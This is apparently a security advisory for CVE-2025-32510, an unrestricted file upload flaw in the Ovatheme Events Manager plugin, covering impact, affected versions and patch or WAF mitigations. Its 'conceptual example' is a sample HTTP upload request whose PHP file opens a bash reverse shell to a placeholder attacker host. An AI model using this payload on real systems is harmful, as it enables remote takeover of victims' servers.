Overview
The existence of an unrestricted file upload vulnerability in ovatheme Ovatheme Events Manager has prompted the need for immediate attention and action. This vulnerability, designated as CVE-2025-32510, allows attackers to upload potentially malicious files, leading to severe security breaches. This issue is particularly concerning given the widespread usage of the Ovatheme Events Manager, especially in the event management and scheduling industry. A successful exploitation can lead to a full system compromise or data leakage, thereby posing a significant threat to data integrity and system security.
Vulnerability Summary
CVE ID: CVE-2025-32510
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Product | Affected Versions
Ovatheme Events Manager | Up to 1.7.5
How the Exploit Works
The exploit works by taking advantage of a lack of file type restrictions in the Ovatheme Events Manager’s file upload functionality. An attacker can craft a malicious file, often disguised as an innocuous file type, and upload it to the system. Once uploaded, the file can be executed, leading to varying levels of system compromise. This may include gaining unauthorized access, deploying malware, or leaking sensitive data.
Conceptual Example Code
Below is a conceptual example of a malicious HTTP POST request exploiting the vulnerability:
POST /upload/ HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a malicious PHP file is uploaded to the vulnerable endpoint. The PHP script within the file is designed to create a reverse shell, allowing the attacker to execute arbitrary commands on the victim’s system.
Countermeasures
It is recommended that users of the affected Ovatheme Events Manager apply the vendor-released patch immediately. In cases where immediate patching is not feasible, it’s suggested to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These tools can help detect and block malicious file upload attempts, thereby providing a layer of protection against potential exploitation.
